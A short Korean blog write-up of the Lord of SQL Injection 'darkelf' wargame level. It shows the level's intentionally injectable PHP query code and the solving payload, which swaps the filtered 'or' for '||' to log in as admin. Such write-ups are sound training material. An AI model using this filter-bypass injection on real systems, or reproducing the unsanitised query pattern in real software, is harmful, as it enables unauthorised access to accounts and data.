[Solved in under 1 minute]
빨리 풀려서 하나 더 했다.
가보자

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
코드를 간단하게 설명하자면 id=guest로 고정이고 pw값을 이용해서 admin으로 로그인하는 문제다
필터링으로는 이번에는 or, and가 걸려있다.
코딩 조금이라도 해본 사람이라면 이건 검색 안해도 바로 알 수 있다.
or == ||
and == &&
인지해두자

?pw=1
guest의 pw가 1이 아닌것을 확인해주고
1' or id='admin' # 이런 형태로 맞출예정이니 필터링만 우회한다면?

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
?pw=1' || id='admin' %23
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
바로 풀린다.
아마 나의 Wargame 역사상 가장 빨리 푼 문제가 아닐까라는 생각이 든다.
정말 1분만에 풀었다. 허허 성장했는가 나?
자존감+0.1
LoS(Lord of SQL Injection) Darkelf Write-up
이상 보고 끝!